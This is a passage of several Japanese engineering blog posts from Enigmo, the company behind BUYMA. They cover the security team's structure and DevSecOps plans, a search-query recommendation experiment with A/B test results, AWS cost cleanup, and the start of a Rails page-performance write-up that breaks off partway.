エニグモのセキュリティ最前線:DevSecOpsと攻めのガバナンスで全社を守る仕組みづくり

1. はじめに

こんにちは!エニグモのセキュリティチームです。

エニグモの中核事業の「BUYMA」は、世界中のパーソナルショッパーから商品を購入できる、会員数1,200万人超のCtoCのECプラットフォームです。 大規模かつグローバルなトラフィックを守るため、セキュリティの重要性は日々高まっています。

今回は、そんな当社におけるセキュリティチームの現在の取り組みや組織体制、そして今後注力していく技術的な課題についてご紹介します。 セキュリティエンジニアとしてエニグモで働く魅力や、リアルな業務の裏側が少しでも伝われば幸いです。

2. セキュリティ組織の体制とミッション

エンジニアリングの現場に根ざした「戦略的配置」

エニグモのセキュリティチームは、サービスエンジニアリング本部のインフラグループに所属しています。これは、セキュリティを単なる「管理・監査」の対象ではなく、サービスの信頼性を支える「エンジニアリング」の一部として捉えているためです。

各専門領域が集まるエンジニアリング組織の中に身を置くことで、最新の技術トレンドや開発のスピード感を共有しながら、実効性の高いセキュリティ施策をダイレクトに実装・反映できる「攻め」の体制を構築しています。

全社・グループ全体を網羅する広範なハブ組織

私たちのミッションは、自社サービスの開発現場に留まりません。専門家としての知見を活かし、グループ全体の安全をデザインする「ハブ」として、現在は主に以下のような領域でセキュリティ強化を推進しています。

  • 全社セキュリティ・ガバナンス: コーポレートITチームと連携し、社内システムからプロダクトまで一貫した安全性の担保とセキュリティ水準の底上げ。

  • 自社サービスのセキュアな開発支援: 「BUYMA」のサービス開発を担う開発とインフラ両方のエンジニアと連携し、安全なインフラ構築とエンジニアリングによる継続的な脆弱性対策の実施。

  • グループ全体のセキュリティ向上: エニグモおよび「BUYMA TRAVEL」をはじめとするグループ会社に対し、ルール策定支援や脆弱性情報の共有、対応手順の標準化を通じた防御力の強化。

  • 新規事業のセキュリティ・アセスメント: 事業立ち上げの初期フェーズから伴走する、セキュリティ設計やリスクの評価。

業務領域の整理と「シフトレフト」の志向

現在のチームでは「シフトレフト」を強く志向し、役割分担を明確にしています。 セキュリティエンジニアの業務領域は広く、とかく日々の運用・構築作業に忙殺されがちです。エニグモでは、WAFのテスト・本番環境への導入・デプロイ作業や、脆弱性スキャンツールの設定といった一部の運用・構築作業は、開発プロセスやインフラ運用の中に組み込み、各チームと役割を分担する体制としています。

一方で、CrowdStrikeなどのアラート一次対応をはじめとするセキュリティインシデントの監視や初動対応は、引き続きセキュリティチームが責任を持って担っています。これにより、現場のリアルな脅威動向を把握しつつ、「セキュリティ戦略の設計・ガバナンス・自動化の仕組みづくり」といった、よりセキュリティ要件の策定や設計といった高度で全社的なセキュリティ課題へ注力できる環境を作っています。

3. 具体的な施策・プロジェクトの紹介

直近で取り組んできたプロジェクトをいくつかご紹介します。

脅威情報の継続的な収集とインシデントへの迅速な対応

日々高度化するサイバー攻撃に対抗するため、多様な媒体から脅威・脆弱性情報を継続的に収集・分析しています。近年多発しているパッケージエコシステムを標的としたサプライチェーン攻撃(Mini Shai-Hulud等) や、NGINX Riftをはじめとするクリティカルな脆弱性が発表された際には、即座に影響調査を行い、開発チームと連携して安全なバージョンへの固定化や設定の回避策などの対応を迅速に進めました。

AWS WAFの運用高度化とDDoS対策のチューニング

Webアプリケーションを強固に保護するため、AWS WAFを本番導入し運用・改善を進めています。WAFの導入・デプロイにあたってはインフラチームが担い、セキュリティチームはルールの高度な分析とチューニングに専念する体制をとっています。 実際のDDoS攻撃のデータとメトリクスを分析した結果、標準のマネージドルールに依存するだけでなく、アクセス元のIPやネットワークアドレス単位でのレート制限を適切に設定することが防御に非常に有効であることを確認しました。現在は、これらの知見を活かした独自のルールチューニングや、悪意のあるIPアドレス(AbuseIP)の自動ブロックの仕組みなどの実装を進めています。

CNAPPの運用改善と高度化(マルチクラウドのセキュリティ強化)

AWSとGCPを利用するマルチクラウド環境において、クラウド全体のセキュリティポスチャを継続的に管理するため、すでにAWS Security HubおよびGCP Security Command Center(SCC)を導入しています。 現在は、これらのCNAPPツールを用いた運用の改善・高度化を進めており、増大し続けるFindingsの内優先的に対応が必要な重大な設定ミスや潜在的な攻撃を選別し、リスクベースで効率的に脆弱性を潰し込んでいく基盤づくりに注力しています。

AIツールの安全な利活用に向けたセキュリティルールの策定

開発効率化のためにAIコーディングツール(Cursor、Claude Code等)やMCP(Model Context Protocol)の導入機運が高まる中、生産性向上とセキュリティのバランスを取るためのルール作りを主導しています。リスクの高いコミュニティ製MCP(BigQuery連携など)の利用制限ルールの策定や、RAGシステムの構築に向けたセキュリティガイドラインの作成など、現場と連携しながら新しい技術を安全に活用するための「攻めのセキュリティガバナンス」を進めています。

社内セキュリティカルチャーの醸成とセキュア開発の推進

エニグモにはエンジニアを中心に毎週実施している社内勉強会「Hacker's Delight」があり、ここで月に1回程度セキュリティの啓発活動をおこなっています。サプライチェーン攻撃などの最新事例や攻撃デモを交え、技術的な面白さを共有しながら現場の解像度を上げる場づくりを大切にしています。

※ 社内勉強会「Hacker's Delight」についてはこちらをご覧ください。 https://www.wantedly.com/companies/enigmo/post_articles/940864

それに加え、技術者・非技術者それぞれに向けたセキュリティ教育やテストを毎年実施しています。また、「セキュア開発実施の手引き」の策定や、Googleドライブ等でのファイル運用ルールといった日常的なガイドラインの整備も行い、現場のメンバー一人ひとりが自律的にセキュリティを高められるカルチャー醸成に努めています。

4. これから取り組むべき技術的課題

エニグモのセキュリティをさらに進化させるため、今後以下のような技術的課題に注力していきます。

DevSecOpsの推進とSBOMの導入

プロダクト開発において利用するOSS等のパッケージ、ライブラリが膨大になる中、昨今、サプライチェーン攻撃や新たなクリティカルな脆弱性が報告された際、どのプロダクトのどこに影響があるのか、調査や特定に膨大な時間がかかってしまうリスクが増加しています。SAST/DASTや依存ライブラリの脆弱性スキャン(SCA)を自動化したり、SBOM(ソフトウェア部品表)の導入・管理体制を構築し、これらの攻撃や脆弱性の多発に対して、影響範囲を即座に特定・自動ブロックできる仕組みを実装していきます。

グループ企業・委託先を含めた全社セキュリティガバナンスの強化

主力事業であるBUYMA本体のセキュリティ対策は成熟しつつあるものの、事業の多角化に伴い、グループ会社や新規事業、外部委託先を含めたサプライチェーン全体で見ると、セキュリティレベルにばらつきが生じているという懸念があります。経営会議でも重要課題として挙がったデータガバナンスの強化に向け、エニグモが守るべき情報資産とリスクシナリオの可視化を進めてきました。今後はこのリスクベースアプローチを基盤とし、BUYMA事業だけでなく、BUYMA TRAVELやHOUSE REVOといったグループ会社全体のセキュリティ体制構築(Security Hubの全アカウント適用、運用体制の構築や、脆弱性診断の展開など)や、外部委託先の情報セキュリティ管理プロセスの高度化に注力していきます。

AIを取り巻く新たな脅威への対抗とセキュリティ業務のAI化

開発効率化のために各種AIツールの活用が急速に進む一方で、開発環境を狙うMiasmaワームやプロンプトインジェクションなどの新たなリスクへの対応方針が急務となっています。また、開発スピードの向上に対して、セキュリティチームの人的リソースだけで全件レビューを行うことの限界も見え始めてきました。これらのAIツールを悪用した新たな脅威に対応するガードレールの構築を進めていきます。また、OWASP LLM Top 10などをベースにしたセキュリティチェックリストの作成や、LLMを活用したセキュリティレビューの自動化など、セキュリティ業務自体のAI活用にも取り組んでいきます。

Policy as Codeを用いたガードレールの構築

セキュリティチェックを厳格化すればするほど、影響のない誤検知(ノイズ)の対応や軽微なアラートによって開発の手が止まってしまい、開発者体験(DX)や事業のリリーススピードを損なってしまうというジレンマがありました。「Critical/Highのみデプロイをブロックする」「影響のない誤検知(ノイズ)を自動除外する」など、開発者体験(DX)と事業スピードを損なわずに、開発チームが自律して修正できるプロセスを構築していきます。

5. エニグモでセキュリティエンジニアとして働く魅力ややりがい

エニグモのセキュリティエンジニアは、単なる監視や定常作業に留まりません。世界中のユーザーが利用する大規模CtoC・越境ECの「BUYMA」という特性上、個人間取引特有の不正利用やグローバル環境における複雑な脅威シナリオが存在し、それらに対する「攻防の面白さ」をダイレクトに味わえるのが大きな特徴です。 また、現在はBUYMA TRAVELやHOUSE REVOといったM&Aによるグループ企業の拡大や新規事業も加速しています。ビジネスモデルやシステム環境が多様化する中で、全社共通のガバナンスの「型」を自ら設計し、適用していくアーキテクトとしての大きな裁量があります。 経営層から事業部門、インフラ・開発チーム、グループ会社に至るまで、多様な関係者と円滑にコミュニケーションを図りながら、全社規模の防衛戦略をリードできるのは当社ならではの大きなやりがいだと感じています。 また、EM(エンジニアリングマネージャー)と協働し、AI等の新技術の活用ルール策定やモダンなDevSecOps環境の構築といった「技術的に面白い課題」に、専門家の立場から大きな裁量を持って挑戦できる環境が整っています。

6. おわりに

エニグモでは現在こうした課題に一緒に立ち向かってくれる仲間を探しています。 ぜひ、一緒にエニグモグループ、BUYMAの成長を支えるセキュリティ体制をつくっていきませんか。

個別商品レコメンドから検索クエリへ:アプリホームの新しいレコメンド検証

こんにちは、データサイエンティストの髙橋です。業務では企画/分析/機械学習モデル作成/プロダクション向けの実装/効果検証を一貫して行っています。

この記事では、BUYMA アプリのホーム画面に検索クエリレコメンドを導入し、ホームレコメンド経由の CVR の向上、アプリ全体の商品閲覧ユーザー率(商品詳細を閲覧したユーザー/全体ユーザー)の改善をした事例を紹介します。

レコメンドシステム全体としては、機械学習ロジックとバックエンド実装の両方がありますが、今回は前者の機械学習ロジックを中心に紹介します。バックエンド実装は別途紹介予定です。

施策の目的

弊社が運営している CtoC EC サービス BUYMA の iOS アプリのホーム画面には「あなたへのおすすめ」セクションがあり、ユーザーが閲覧した商品に基づいてレコメンドされた商品が表示されています。

しかし、個別商品のレコメンドのみを提供しているため、ユーザーに表示できる商品の幅が制限され、購入に結び付く商品にホームから出会いづらいのではという仮説がありました。そこで、個別商品のみではなく、検索クエリのレコメンドを実施することで、ユーザーに表示できる商品の幅を広げ、購入候補となる商品に出会いやすくできないかを検証しました。検索クエリのレコメンドでは、商品単体ではなく検索結果への導線を提示できるため、ユーザーがより広い候補の中から商品を探せるようになります。

最終目標は、 iOS アプリ全体の売上を上げることですが、アプリ全体の購入にホームレコメンドが占める割合はそれほど大きくなく、はじめからそれを実現するのは難しいと考え、まずはホームレコメンド経由の売上を増加させることを目標としました。

新しいレコメンドイメージ

既存の iOS アプリのホーム画面のレコメンドは個別商品を以下のように表示していました。

既存のiOSアプリのホーム画面のレコメンド

新しいレコメンドとして、以下のような検索クエリのレコメンドを既存の個別商品レコメンドの上部に追加しました。ここで、検索クエリごとに商品を何件か見せるようにしました。また、検索クエリごとに検索結果に遷移できるボタンを設けることで、ユーザーが検索結果に遷移してより広い商品を見ることができるようにしました。検索結果への導線は、検索ラベル名の横とカルーセル末尾の2箇所に設けました。

新しいiOSアプリのホーム画面のレコメンド

もっと見るボタン位置

検索クエリとしては、商品カテゴリとブランドの組み合わせや、商品カテゴリとタグの組み合わせなどを用意しました。例えば「スニーカー × ブランド A」「Tシャツ × ストリート」など、商品カテゴリにブランドやタグを組み合わせた検索クエリ候補を作成しました。

新しいレコメンドによる事業効果

AB テストの結果、ホームレコメンド経由の CVR の上昇が見られました。ホームレコメンドからユーザーが閲覧できる商品の幅を広げ、購入候補となる商品に出会いやすくできたことが CVR 上昇に寄与したと考えられます。

また、iOS アプリ全体の商品閲覧ユーザー率にも上昇が見られました。検索クエリごとに複数の商品を表示し検索結果への導線を設けたことで、ホーム画面からの商品探索を促せたことが閲覧ユーザー率上昇に寄与した可能性があります。

詳細な数値などは後述のABテストセクションにて紹介します。

レコメンドロジック

実際に利用した検索クエリレコメンドのロジックについて紹介します。今回の検索クエリレコメンドでは、大きく以下の4つの処理を行いました。

  1. 商品と検索クエリの類似度計算
  2. ユーザーの商品閲覧履歴から、関連性の高い検索クエリレコメンドを作成する
  3. 各検索クエリ内で表示する商品を、ユーザーの興味に近い順に並び替える
  4. 表示内容が固定化されないように、Gumbel-Top-k Trick によって一定のランダム性を加える

以降では、それぞれの処理について説明します。

商品と検索クエリの類似度計算

検索クエリのレコメンド自体に効果があるのかをクイックに検証するために、協調フィルタリングベースの実装負荷が低いロジックを採用しました。

通常の item-to-item 協調フィルタリングでは、ユーザーごとの閲覧有無をベクトルとみなし、商品同士の類似度をコサイン類似度で計算します。商品  i の閲覧ベクトルを  \boldsymbol{x}_i とすると、コサイン類似度は以下の式で表されます。

 \displaystyle
\cos(\boldsymbol{x}_i, \boldsymbol{x}_{i'}) = \frac{\boldsymbol{x}_i \cdot \boldsymbol{x}_{i'}}{|\boldsymbol{x}_i||\boldsymbol{x}_{i'}|}

ここで、各次元をユーザー、値をそのユーザーが商品を閲覧したかどうかの  0, 1 の値とすると、 \boldsymbol{x}_i \cdot \boldsymbol{x}_{i'} は両方の商品を閲覧したユーザー数、 |\boldsymbol{x}_i|  |\boldsymbol{x}_{i'}| はそれぞれの商品を閲覧したユーザー数の平方根になります。

今回の検索クエリレコメンドでは、ユーザーの代わりにセッション  j \in \mathcal{J} を単位とし、商品と検索クエリの類似度を計算しました。具体的には、商品  i の閲覧ベクトルを  \boldsymbol{x}_i \in \{0,1\}^{|\mathcal{J}|} 、検索クエリ  k (例:商品カテゴリとブランドの組み合わせ)に該当する商品の閲覧ベクトルを  \boldsymbol{y}_k \in \{0,1\}^{|\mathcal{J}|} とし、それぞれの次元をセッション、値をそのセッションで閲覧されたかどうかの  0, 1 の値とします。このとき、商品  i と検索クエリ  k の類似度を

 \displaystyle
s_{i,k} := \cos(\boldsymbol{x}_i, \boldsymbol{y}_k) = \frac{\boldsymbol{x}_i \cdot \boldsymbol{y}_k}{|\boldsymbol{x}_i||\boldsymbol{y}_k|}

と定義し、事前計算しました。これにより「ある商品を見たセッションでは、他にどのような検索クエリに該当する商品が見られているか」を集計しています。たとえば、あるスニーカーを閲覧したセッションで「ブランド A のスニーカー」に該当する商品もよく閲覧されていれば、 s_{i,k} は高い値になり、その商品からそのクエリへの関連度が高いとみなします。

ユーザーごとの検索クエリレコメンド作成

これにより計算した商品×検索クエリの類似度  s_{i,k} を元に、ユーザーごとの検索クエリレコメンドを作成しました。具体的には、ユーザー  u に対する検索クエリ  k の集約スコア  S_u(k) を以下の式で計算し、その集約スコア上位の検索クエリをユーザーごとにレコメンドしました。

 \displaystyle
S_u(k) = \sum_{t=0}^{T-1} e^{-\lambda t}\, s_{i_{u,t},\,k}

ここで、 i_{u,t} はユーザー  u が直近  t 番目に閲覧した商品のID( t=0 が最新の閲覧商品)を表します。 S_u(k) は、直近  T 件の閲覧商品それぞれについて、その商品と検索クエリ  k の類似度  s_{i_{u,t},k} (先ほどのコサイン類似度の式により事前計算済み)を、閲覧順に応じた指数減衰の重み  e^{-\lambda t} で重み付けして合算したものです。同じ検索クエリが複数の商品から推薦された場合は加算され、直近の閲覧ほどユーザーの現在の興味を強く反映します。 \lambda \geq 0 は減衰率を表します。

今回は検索クエリのレコメンド自体に効果があるかをクイックに検証する目的だったため、 T  \lambda は後述する定性評価アプリでの結果を見ながら調整しました。オフライン評価指標を設計して最適化するのが本来望ましいですが、まず施策の有効性を確認するフェーズとして定性評価による調整で十分と判断しました。

また、コールドスタート問題、具体的にはマイナーな商品が閲覧履歴に含まれる場合の対処として、レコメンド上位数件はルールベースで直近閲覧商品のブランド × カテゴリを出力するようにしました。マイナー商品は共閲覧セッション数が少なくスコアの信頼性が低くなるため、こうしたケースでも関連性が高いクエリを最上位に表示できるよう意図しています。先ほど述べたようにクイックに検証する目的上、ここへの深い投資は優先度を下げた判断です。

検索クエリ内の商品並び替え

新しいレコメンドイメージで説明したように、検索クエリごとに商品を何件か見せるようにしました。

新しいiOSアプリのホーム画面のレコメンド

ここで、単純に検索クエリで検索したときの人気商品を見せると、ユーザーが閲覧した商品との関連性が低い商品が表示され興味を惹きづらい問題がありました。そこで、 item-to-item 協調フィルタリングも作成し、その結果を元に各検索クエリ内の商品を並び替えるようにしました。
例えば、ユーザーがブランド A のピンクのバッグを閲覧していた場合を考えます。以下のように並び替え前は人気順上位の黒・白のバッグが表示されていました。これを item-to-item 協調フィルタリングの結果をもとに並び替えることで、ピンク系のバッグが表示されるようにしました。

並び替え前後の例

並び替えには Solr のブーストクエリの仕組みを利用しました。具体的には、検索クエリに該当する商品の中で、ユーザーの直近閲覧商品との item-to-item 協調フィルタリング結果上位の商品にブーストをかけることで、ユーザーの興味に近い商品を上位に表示しました。Solr のブーストクエリの採用理由としては、検索エンジンとして Solr を利用しており、それに付随する機能を利用した方が開発工数を抑えつつ検索クエリ内の商品並び替えができると考えたためです。

レコメンドの並び順に対するランダム性の導入

ユーザーごとの検索クエリの集約スコアで検索クエリを並べて表示すると、アプリ訪問のたびに同じような検索クエリが表示される問題がありました。そこで、検索クエリの並び順に対するランダム性を導入し、アプリ訪問のたびに検索クエリの並び順が変化するようにし、より回遊を促せるようにしました。また、検索クエリ内の商品並び替えについても同様の理由でランダム性を導入しました。

ランダム性の導入には Gumbel-Top-k Trick を利用しました。スコアに Gumbel ノイズを加算して top k を取ることで、スコア上位の候補ほど選ばれやすくしつつ、一定のランダム性を持たせる手法です。実装では、スコアに温度パラメータをかけることで、関連性を重視する度合いとランダム性の強さを調整しました。これによりスコア上位の関連性の高い検索クエリは表示されやすくしつつも、時にやや意外性のある下位の検索クエリも表示されることで、ユーザーが飽きずに回遊を続けられることを意図しています。実際に結果を確認すると、関連性の高いクエリが多く表示されつつも、時折意外性のあるクエリが混ざるような挙動となりました。

定性評価

検索クエリレコメンドの精度を確認するために定性評価を実施しました。生成 AI をコーディング支援に利用し、閲覧した商品IDリストを入力すると検索クエリレコメンド結果を表示する Web アプリを素早く作成しました。これをチームメンバーにも使っていただき、フィードバックを得ながら細かな調整を実施しました。また、これにより Bot などの大量アクセスによりレコメンド結果が不自然になることに気づけ、それを防ぐための前処理を入れることもできました。具体的には、以前弊社の技術ブログでも紹介した手法を参考に、短時間で大量に商品閲覧しているセッションを除外する対応を行いました。

AB テスト

AB テストは、iOS アプリのホーム画面を訪問したユーザーを対象に2週間実施しました。Treatment では検索クエリレコメンドを12件、既存の個別商品レコメンドの上部に追加表示しました。Control では既存の個別商品レコメンドのみを表示しました。

Control と Treatment の画面イメージ比較図は以下のとおりです。

Control と Treatment の画面イメージ比較図

AB テストの結果は以下の通りです。

指標 Treatment / Control 相対改善 備考
ホームレコメンド経由の CVR 138% +38% 主指標
ホームレコメンド経由の ARPPU 105% +5% 客単価が落ちていないことの確認
ホームレコメンド経由の ARPU 146% +46% 客単価が落ちていないことの確認
iOS アプリ全体の商品閲覧ユーザー率 100.4% +0.4%
iOS アプリ全体の CVR 100.1% +0.1%

ここでいうホームレコメンド経由の CVR は、iOS アプリのホーム画面を訪問したユーザーのうち、ホームレコメンド経由で購入に至ったユーザー割合として定義しています。また、ホームレコメンド経由の購入は、ホームレコメンド上の商品または検索結果導線を起点として商品詳細に到達し、購入に至ったケースとして集計しています。

AB テストでは、ホームレコメンド経由の CVR や ARPU が改善しました。また、ARPPU が大きく低下していなかったことから、CVR 改善の裏で購入単価が悪化しているわけではないことも確認できました。

一方で、アプリ全体の CVR には大きな変化は見られませんでした。ホームレコメンド経由の購入は増加したものの、その一部には他導線からホームレコメンド経由への購入経路の付け替わりが含まれていた可能性があります。そのため、今回の施策はアプリ全体の購入を大きく押し上げるというよりも、ホーム画面からの商品探索を促進し、ホームレコメンド経由の購入機会を増やす効果が大きかったと考えています。

iOS アプリ全体では商品閲覧ユーザー率の上昇が見られました。iOS アプリ全体の商品閲覧ユーザーを分解して確認すると、検索クエリレコメンドのみから商品閲覧をしたユーザーが増えていました。それらの多くは検索結果画面に遷移したうえで商品を閲覧していました。このことから、検索クエリをレコメンドすることで、ホーム画面から検索結果での回遊を促し、アプリ全体の商品閲覧ユーザー率の改善につながったと考えられます。

商品閲覧ユーザー分解

まとめ

今回、iOS アプリのホーム画面に検索クエリレコメンドを導入したことで、ホームレコメンド経由の CVR、iOS アプリ全体の商品閲覧ユーザー率の上昇が見られました。これらの結果から、検索クエリのレコメンドがユーザーの回遊を促し、購入に結び付く商品に出会う確率を上げることができたと考えられます。一方で、課題としては全体の CVR にあまり変化は無かったことがあります。そこで、購入経路の付け替えではなく、純増を生み出す方向のレコメンドロジックや UI/UX を追求していきたいと考えています。それに向けて現在も引き続き AB テストにて新たなレコメンドロジックや UI/UX を試しています。


株式会社エニグモ すべての求人一覧

hrmos.co

AWSリソースの整理とコスト最適化 手動運用で掴むシステムの肌感覚と自動化への展望

概要

こんにちは、インフラエンジニアの 加藤 です。

社内で行ったAWSのコスト最適化とリソース整理の内容をレポートします。

今回は、AWS Compute OptimizerAWS Trusted AdvisorAmazon S3 Storage Lensを活用し、不要・過剰リソースの洗い出しから削除までを手動で実施しました。

まずはAWSの公式推奨値や手作業でのチェックを経て「どの部分を仕組み化できそうか」のあたりをつけ、今後はそれをベースに自動化や定期モニタリングの仕組みを構築していく予定です。

本記事では、具体的な実施内容や改善結果とあわせて、今後の自動化・仕組み化に向けた方針をまとめます。


1. 現状確認

過剰なコストが発生している可能性の高い箇所を特定するため、以下の3つのアプローチで調査を行いました。

1-1. AWS Compute Optimizerの確認

  • 稼働中のEC2インスタンスやEBSボリュームの推奨ステータス(最適化可能、過剰プロビジョニングなど)を抽出しました。

1-2. AWS Trusted Advisorの確認

  • コスト最適化項目を確認し、利用率の低いEC2インスタンスや未使用のEBSボリュームなどを抽出しました。
    【注意】Trusted Advisorの網羅性】
    Trusted Advisorは非常に便利ですが、あくまでAWSが定義した標準的なルールに基づく推奨事項の提示に留まります。
    アカウント内の不要なリソースをすべて完璧に洗い出せるわけではないため、Trusted Advisorの確認だけでなく、独自の基準による調査も組み合わせて実施しました。

また、推奨内容の適用にあたっては、監視メトリクスから平常時・ピーク時双方のリソース使用状況を分析し、性能劣化やリソース枯渇のリスクがないことを検証したうえで実施しました。
変更作業については、段階的な適用を基本方針とし、利用状況の分析結果に基づいてメンテナンス時間帯を選定することで、サービスへの影響を最小化しました。
利用者の多いシステムに対する再起動を伴う変更は、安定運用のため影響の少ない時間帯に実施しました。

1-3. 長期間放置されているリソースの整理

  • 長期放置されているEC2関連リソースとS3バケットの確認を実施しました。
    • EC2関係
      • 1年以上前に作成されたまま稼働・利用されていないEC2インスタンス、EBSボリューム、EBSスナップショット、AMIをリストアップし、不要なものを整理しました。
      • AWS Instance Schedulerで利用している既存タグではコスト効率が悪いもの(例:夜間停止後平日日中に再起動してしまうケース)については、新たに「停止のみ」のスケジュール設定を追加しました。
    • S3関係
      • S3 Storage LensとS3 APIを活用し、長期間更新のないオブジェクト、不完全なマルチパートアップロードの有無、ライフサイクルルールの設定状況を横断的に確認しました。

2. 実施した最適化作業(手動対応)

「1. 現状確認」で抽出した調査結果に基づき、対象リソースの棚卸しを実施しました。具体的には、スプレッドシートに対象リソース一覧を整理した上で、関係各所のメンバーに対して個別にヒアリングを行い、利用状況および必要性を確認しました。その結果を踏まえ、手動作業にて以下のリソース最適化・整理を実施しました。

2-1. AWS Compute Optimizer / Trusted Advisor に基づく対応

ツールから推奨された「過剰プロビジョニング」や「未使用リソース」のステータスに対し、以下の即効性のある対応を行いました。

  • インスタンス・EBSの最適化
    • 過剰スペックと判定されたEC2インスタンスのタイプ変更(ダウンサイジング)を実施しました。
    • EBSボリュームのパラメータ(容量・IOPS・スループット)を実際の利用実績に合わせて最適化しました。
  • 未使用リソースの削除・解放
    • コストが発生していた未使用のEBSボリューム・EBSスナップショットやEC2インスタンスを整理し削除しました。

2-2. 独自基準に基づく対応(EC2関連リソース)

Trusted Advisor等では検知しきれない、長期間放置されていたリソースの整理と、今後の無駄を防ぐための設定変更を行いました。

  • 長期未使用リソースのクリーンアップ
    • 1年以上前に作成され、運用されていないEC2インスタンス、EBSボリューム、EBSスナップショット、AMIを精査し、不要なものを削除しました。
  • AWS Instance Schedulerのタグ設定の見直し
    • 調査時に停止忘れ対策単体のタグが存在していなかったため、新しく停止用のタグを作成・付与し、自動でインスタンスが停止してコストの無駄遣いを防げる状態にしました。

2-3. 長期間放置されているリソースの整理(S3関連リソース)

S3 Storage LensとS3 APIの調査結果を基に、ストレージコストを削減するための整理を行いました。

  • オブジェクトの精査と削除

    • 長期間更新のなかったバケットやオブジェクトを精査し、不要なリソースを削除しました。
  • マルチパートアップロードのクリーンアップ

    • 蓄積していた「不完全なマルチパートアップロード」をクリーンアップし、無駄なストレージ消費を解消しました。
  • ライフサイクルルールの更新

    • 今後の自動コスト最適化(オブジェクトのGlacierへの移行や自動削除など)を見据え、暫定的なライフサイクルルールを設定・更新しました。

3. 今後に向けた自動化・仕組み化の展望

今回は手動でリソースの棚卸し・整理を実施しましたが、リソースの増加は今後も継続的に発生します。
そのため、同様の課題を繰り返さないよう、運用の仕組み化と自動化を進めていきます。

1. 公式推奨事項の定期確認

AWSのベストプラクティスに沿った継続的な改善を行うため、推奨事項を定期的に収集し、Slackへ通知する仕組みを構築します。

対象は以下を想定しています。

  • AWS Compute Optimizer の推奨レポート
  • Trusted Advisor の推奨レポート

人手による定期確認を不要にし、対応漏れの防止や継続的なコスト最適化につなげます。

2. 独自フィルターによる未使用リソース検知

AWSの標準機能だけでは検知できない放置リソースを可視化するため、現場の運用実態に合わせた独自フィルターを作成し、月次でSlackへ通知します。

例えば、今回の棚卸しで利用した基準をもとに、以下のようなリソースを検知対象とします。

  • 作成から1年以上経過したEC2・AMI・EBS・EBS Snapshot
  • 長期間停止状態のEC2
  • 未アタッチのEBS
  • 未参照のAMI・EBS Snapshot

これにより、実運用に即した未使用リソースの早期発見と継続的なコスト削減を実現します。

3. S3運用の標準化と自動化

S3については、ライフサイクル管理の標準化と大量オブジェクト運用時の自動化を進めます。

  • Infrequent Access や Glacier など適切なストレージクラスへの自動移行
  • 不完全なマルチパートアップロードの自動削除
  • バケットやプレフィックス単位での保持期間ルールの整理と自動削除

調査を進める中で、S3の分析・整理に関する運用パターンが確認されたため、今後の対応方針として検討を進めています。 また、Storage Lens、S3 InventoryS3 Batch Operationsを組み合わせた手法はAWS公式ブログでも実装例として紹介されており、今後の検討の参考としています。 ただし、対象バケットはオブジェクト数が多く、各種分析・調査系サービスの利用コストも発生するため、コスト面も含め慎重に検討する必要があります。
参考:AWS公式ブログ:「Copy objects between any Amazon S3 storage classes using S3 Batch Operations


まとめ

コスト最適化の提案から始め、まずは簡単に済ませられるものから各ツールの推奨情報も参考にしながら手作業で進めました。実作業を通してシステムの現状や、単なる削除に留まらないリソースのチューニングに関する判断基準を深く学べたことが大きな収穫です。今後は、今回得た知見をもとに自動化や定期通知の仕組み化へと繋げ、さらなる運用効率の向上に貢献していきます。

株式会社エニグモ すべての求人一覧

hrmos.co

Railsで主要ページのパフォーマンス改善を行った話

こんにちは。BUYMA TRAVELのWebエンジニアの赤間です!

BUYMA TRAVELは BUYMA を運営する株式会社エニグモのグループサービスです。

1. はじめに

弊社では日本語対応のオプショナルツアー・貸切ガイド予約サイト’’BUYMA TRAVEL’’を開発・運営しています。

その中でも「エリアページ」と「スポットページ」は検索エンジンから流入したユーザが最初に訪れることの多い主要なページです。

ここ数ヶ月でユーザにとってより使いやすいページを目標に、クチコミやおすすめ商品の掲載など様々な要素・機能の追加を行ってきました。しかしその一方で表示速度が低下し、商品数の多いページによっては表示完了まで最大3秒かかってしまう状況でした。

そこでこれらのページを対象に、Railsアプリケーションのパフォーマンス改善を実施しました。本記事では調査の流れから改善内容、その改善を通して得られた知見をご紹介します。

2. エリアページ・スポットページとは

ここで簡単にサービス紹介もかねて、この2つのページのご紹介です。

エリアページ

https://travel.buyma.com/service/a040118/

その名の通り、エリア(地域)単位で商品をまとめている特設ページです。

スポットページ

https://travel.buyma.com/service/a040118/s0000001/

こちらは、観光スポット単位で商品をまとめている特設ページです。

どちらのページも人気商品やプライベート商品、クチコミ、おすすめスポットなどのコンテンツを掲載しています。 一見すると単純な一覧ページですが、実際にはユーザに新鮮な情報を提供するための複数の検索処理や集計処理、共通コンポーネントによって構成されており、システム的に比較的処理の多い重いページとなっています。

3. なぜ改善が必要だったのか

これらのページは検索エンジンから’’BUYMA TRAVEL’’に流入したユーザが最初に目にするページです。

そのため表示速度の低下は単なる技術的な課題ではなく、サービス全体の利用率や売り上げにも直結する可能性があります。 また、エリアページとスポットページはサービス内でもアクセス数が多く、改善効果が大きいページでもありました。

実際に計測したところ、改善前ではページ表示までに最大3秒程度かかってしまうケースも確認できました。 ページ表示速度と離脱率には相関があると言われており、ユーザがページの表示を待っている間に離脱してしまえば、どんなに魅力のある商品を掲載していても見てもらうことはできません。

そこで、本格的なパフォーマンス改善に取り組むこととなりました。

4. AIを活用したボトルネック調査

エリアページは長年運用されてきたページであり、コードベースも大規模化していました。

そのため単純に「とりあえずSQLを削減する」といった場当たり的な改善ではなく、本当にボトルネックとなっている処理を特定する必要がありました。 Railsアプリケーションではコントローラ・モデル・ビュー(・ヘルパー)に処理が分散しているため、どこで処理時間を消費しているかを把握するだけでも手間がかかります。

今回はDatadogで遅いトランザクションを特定し、Cursorを利用してコードベースの調査を行いました。

AIに「TTFBを悪化させている箇所を探して欲しい」 という依頼を行い、懸念箇所や修正候補をリストアップしてもらいました。

5. 調査して見つかった問題箇所

分析の結果、大きく以下の3つの課題が見つかりました。

  • SQLの発行数が多い
  • 同一リクエスト内で重複した計算が発生している
  • キャッシュが十分に活用できていない

特にSQL関連の問題が深刻で、全体処理時間の約60%を占めている有り様でした。

6. 実施した改善

SQL発行数の削減

調査の結果、レスポンス時間の大部分をデータベースアクセスが占めていることがわかりました。

特に商品一覧の表示処理では、関連データを取得する際にN+1問題が発生している箇所が複数存在していました。

N+1問題とは、一覧取得後に各レコードごとに追加のSQLが発行されてしまう問題です。 たとえば商品を10件まとめて表示する場合、本来1回で済むはずが11回以上のDBアクセスが必要になることがあります。 さらにデータ量が増えるほどSQL実行回数も増加するため、パフォーマンスへ大きな影響を与えてしまうのです。

